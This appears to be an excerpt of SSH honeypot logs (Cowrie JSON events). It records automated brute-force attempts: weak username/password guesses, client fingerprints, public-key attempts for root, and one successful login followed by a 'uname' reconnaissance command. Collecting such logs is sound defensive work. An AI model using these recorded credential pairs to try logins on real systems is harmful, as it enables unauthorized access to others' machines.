0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:33.131598Z","src_ip":"91.92.42.133","session":"cace5bbf9317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Aa123456.","message":"login attempt [debian/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:34.854540Z","src_ip":"91.92.42.133","session":"cace5bbf9317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34294,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d833ed3df36","protocol":"ssh","message":"New connection: 91.92.40.171:34294 (159.203.135.109:22) [session: 8d833ed3df36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:34.859166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:34.944562Z","src_ip":"91.92.40.171","session":"8d833ed3df36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:35.131129Z","src_ip":"91.92.40.171","session":"8d833ed3df36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:35.541015Z","src_ip":"91.92.40.171","session":"8d833ed3df36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:36.055732Z","src_ip":"91.92.42.133","session":"cace5bbf9317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:36.644459Z","src_ip":"91.92.40.171","session":"8d833ed3df36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:37.971471Z","src_ip":"91.92.40.171","session":"13ba5592d3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:40.058191Z","src_ip":"91.92.40.171","session":"13ba5592d3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55364,"dst_ip":"159.203.135.109","dst_port":22,"session":"200555622e62","protocol":"ssh","message":"New connection: 91.92.42.133:55364 (159.203.135.109:22) [session: 200555622e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:40.101270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:40.348374Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:40.355594Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.069635Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.443168Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.446523Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34334,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a3b9dfbefdd","protocol":"ssh","message":"New connection: 91.92.40.171:34334 (159.203.135.109:22) [session: 5a3b9dfbefdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.452685Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.578092Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.583315Z","src_ip":"91.92.42.133","session":"200555622e62","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:42.609372Z","src_ip":"91.92.40.171","session":"5a3b9dfbefdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:43.433258Z","src_ip":"91.92.40.171","session":"5a3b9dfbefdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:47.139966Z","src_ip":"91.92.40.171","session":"5a3b9dfbefdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36714,"dst_ip":"159.203.135.109","dst_port":22,"session":"690324223370","protocol":"ssh","message":"New connection: 91.92.40.171:36714 (159.203.135.109:22) [session: 690324223370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:47.967020Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39740,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc78eeecc96","protocol":"ssh","message":"New connection: 91.92.42.133:39740 (159.203.135.109:22) [session: dcc78eeecc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:47.973347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:47.977786Z","src_ip":"91.92.40.171","session":"690324223370","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:48.103447Z","src_ip":"91.92.42.133","session":"dcc78eeecc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:48.122513Z","src_ip":"91.92.42.133","session":"dcc78eeecc96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:48.609678Z","src_ip":"91.92.42.133","session":"dcc78eeecc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:49.169914Z","src_ip":"91.92.40.171","session":"690324223370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:49.251815Z","src_ip":"91.92.40.171","session":"5a3b9dfbefdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:49.735241Z","src_ip":"91.92.42.133","session":"dcc78eeecc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":6190,"dst_ip":"10.17.0.5","dst_port":22,"session":"541580d7103c","protocol":"ssh","message":"New connection: 199.127.60.187:6190 (10.17.0.5:22) [session: 541580d7103c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.313033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.317213Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.376462Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:f7:1a:c9:fd:6f:17:89:df:83:6d:6a:63:bf:b3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyEPxO7bl4HK1+MkeXK9lH/doMSgBz0FyNB2f3mcn96tx8+kntAxc04qrjzvLWsuoqZNqagU4mZc0dMnH8Y4EXsDq3tX934unYmLl0T45eXjxOZTOL3sNM9wqKCgUJ3Ev53idlZt5UO9uSaVmJlUdq2j+aDkpSWu6YldU2Tax7Unk3FzCtZe0D3m2d0vagC99nXS1YAdFiKxI0Q5crfzcrPgpw7yVMcXO0uvYENezedT4pn70s0+Zn1o6otC8SwuMi/PHZTkisdnpuOUIL5QRnxijB69pzfTDm0Obov6oavY9efrg1b7zod7r9EHe1jdH9RXKYkrbbR5EGZ9FI33i6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:f7:1a:c9:fd:6f:17:89:df:83:6d:6a:63:bf:b3:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.638423Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:f7:1a:c9:fd:6f:17:89:df:83:6d:6a:63:bf:b3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyEPxO7bl4HK1+MkeXK9lH/doMSgBz0FyNB2f3mcn96tx8+kntAxc04qrjzvLWsuoqZNqagU4mZc0dMnH8Y4EXsDq3tX934unYmLl0T45eXjxOZTOL3sNM9wqKCgUJ3Ev53idlZt5UO9uSaVmJlUdq2j+aDkpSWu6YldU2Tax7Unk3FzCtZe0D3m2d0vagC99nXS1YAdFiKxI0Q5crfzcrPgpw7yVMcXO0uvYENezedT4pn70s0+Zn1o6otC8SwuMi/PHZTkisdnpuOUIL5QRnxijB69pzfTDm0Obov6oavY9efrg1b7zod7r9EHe1jdH9RXKYkrbbR5EGZ9FI33i6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.641150Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:1c:3b:c8:06:d0:bf:d2:e4:a7:f6:f4:b1:1b:ca:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl/YzodaOzFm4ydwPkJzLpijRwBZFMPCuFIWfipFPt1KdNytBfEARRDt4HK5oGoObNiY5pKgzWODG0VgTzvs4dx8g7pe+IYDFSVgiyywOPjgrLifhQj6iDKGRK8wQG4zJq2BrCTr69Qp/+j5D7+70QRXrJRX486TkC5e8lKJjYx1HNTHRIU/jsuX1O15V9IEJVNdIbZcR59sjfHSE5GPdKBcr4kX92mZ8PItqCtkEgWtyXkkl0Uyz5odPIZ2f9sGfvUlsPx9bZU5VvbOqXTzypH+4HZzOOx6qbwn08aTFa8jVpu5Sgik8TgNO/T7lHUqOJA83BVOZbkRXDerqGNczv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:1c:3b:c8:06:d0:bf:d2:e4:a7:f6:f4:b1:1b:ca:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.697473Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:1c:3b:c8:06:d0:bf:d2:e4:a7:f6:f4:b1:1b:ca:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl/YzodaOzFm4ydwPkJzLpijRwBZFMPCuFIWfipFPt1KdNytBfEARRDt4HK5oGoObNiY5pKgzWODG0VgTzvs4dx8g7pe+IYDFSVgiyywOPjgrLifhQj6iDKGRK8wQG4zJq2BrCTr69Qp/+j5D7+70QRXrJRX486TkC5e8lKJjYx1HNTHRIU/jsuX1O15V9IEJVNdIbZcR59sjfHSE5GPdKBcr4kX92mZ8PItqCtkEgWtyXkkl0Uyz5odPIZ2f9sGfvUlsPx9bZU5VvbOqXTzypH+4HZzOOx6qbwn08aTFa8jVpu5Sgik8TgNO/T7lHUqOJA83BVOZbkRXDerqGNczv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.701529Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:40:38:29:23:cb:f2:75:b3:4e:49:f7:a8:4e:2e:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPpjbjIdRjBptUj/x4tJ7TT8/EXAaRVQ291sI/V7SO9YKDbZ/X+4BTFrqJwgZHGfo74074DaykuHbDFNGS0uYSr1/sdzCRZ62r8qs6NpBZHXBpgHoqsHLJSusT5ASWMweJyw75ALrMz1D51TxwCzqTrNzsdrQZh4CQIGbaGm1pna7aRpjt27QMGCw/O63YZoec1yIhXSEClo8lKVwttPfWlyCXD1yD1pd21a3jRTS2RsEfn9nTf6VRA5p1ziBfbXPN5A4sxANVYWxJ6ZHlRDrAxn3z4YRwoKnLI5U+JRl8qn+x+aa0uZDP82jBeN/whqur6Hk9lONWyv8gjpxu5wAKpnR/lziT91IyX8NsfubHV+uNRlWAa6O/oQZh7W0nSzPpE6GTnHIoyjM349mKa1A2fJSd8iV4Uy4gSqu9WL5mIUZAtpG6u8uyXBKw8eVZIlI0a32+QlEG4C/0y3KEXcw+peg1R73FPMF71NRpSws9Rh1HrIv270AkoP/uWfTESm0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:40:38:29:23:cb:f2:75:b3:4e:49:f7:a8:4e:2e:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.759733Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
